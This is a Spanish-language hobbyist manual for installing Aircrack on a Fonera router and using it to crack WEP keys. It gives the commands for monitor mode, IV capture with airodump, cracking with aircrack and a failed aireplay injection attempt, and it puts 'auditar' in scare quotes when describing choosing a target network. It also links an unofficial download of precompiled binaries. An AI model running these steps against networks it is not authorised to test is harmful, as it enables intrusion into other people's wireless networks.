Lo siguiente es un manual para instalar Aircrack en una fonera.
Lo he hecho yo mismo, así que tenéis que perdonar los errores y faltas de ortografía
--------------------------------
-- Instalacion
--------------------------------
Primero hay que compilar el paquete aircrack_2.41-1 y libpthread_0.9.28-8 que podeis descargar de:
http://downloads.openwrt.org/sources/para la fonera, usando el sistema habitual de compilación de paquetes.
Luego hay que copiar el fichero aircrack_2.41-1_mips.ipk y libpthread_0.9.28-8_mips.ipk en la fonera con vuestro método favorito
y los instalais:
ipkg install aircrack_2.41-1_mips.ipk
ipkg install libpthread_0.9.28-8_mips.ipk
Podéis descargaros los paquetes ya compilados desde aquí:
http://www.mediafire.com/?0m5dvmmzj3i-----------------------------------------------------
-- Uso del Aircrack en la fonera
-----------------------------------------------------
Tenemos que crear una interfaz wifi en modo master
pero primero eliminamos la interfaces existentes
wlanconfig ath0 destroy
wlanconfig ath1 destroy
wlanconfig ath0 create wlandev wifi0 wlanmode monitor
Montamos una unidad compartida (
http://www.fonera.info/index.php/topic,3.0.html )
ya que crearemos ficheros en ella, para tener espacio suficiente
mount /mnt/intercambio
cd /mnt/intercambio
ejecutamos airmon.sh para que configure la interface ath0
airmon.sh start ath0
ejecutamos airodump en el canal 0 y con el fichero pruebas, guardadno solo los IVS
airodump ath0 pruebas 0 1
Una vez que hallamos identificado la wireless que queremos "auditar"
guardamos su ESSID y su canal, y paramos airodump
[Control+Z]
importatne, usa Control+Z, ya que si usas Control+C dejará de capturar paquetes
En los manuales del Airodump dice que ejecutemos iwconfig para tratar de asociarnos con la wifi que queremos
Pero si lo hacemos en la fonera por algún motivo deja de capturar, así que dejamos la interfaz en el canal 0 pero ejecutamos
airmon.sh y airodump en el canal de la wifi que nos interese
airmon.sh start ath0 10
airodump ath0 pruebas 10 1
ahora a esperar a que "Data" lleque a 250.000

como mínimo
--------------------------------
-- Crackear la contraseña WEP
--------------------------------
cuando llegue a 250.000 el campo data abrimos otra ventana (se podría hacer desde otro sistema, no tiene porque ser la fonera)
desde la fonera le hará falta la librería "libpthread.so.0" para poder ejecutarse por eso la instlamos al principio
(si usamos MSDOS hace falta tener el CYGWIN instalado o por lo menos las DLL)
cd /mnt/intercambio/
aircrack pruebas*.ivs
he de decir que en menos de 30 minutos había roto la wep de mi wifi

--------------------------------
-- Inyectar paquetes
--------------------------------
Por desgracia no he conseguido que funcione pero se haría así:
abrimos otro SSH e inyectamos paquetes
si hay alguien conectado
airepaly -3 ath0 -b BSSID -h station
aireplay -3 ath0 -b 00:XX:XX:XX:XX:XX -h 00:XX:XX:XX:XX:XX
Pero nos da el siguiente error:
sysctl: error: 'dev.ath0.rawdev' is an unknown key
SIOCGIFFLAGS: No such device
ioctl(SIOCGIFINDEX) failed: No such device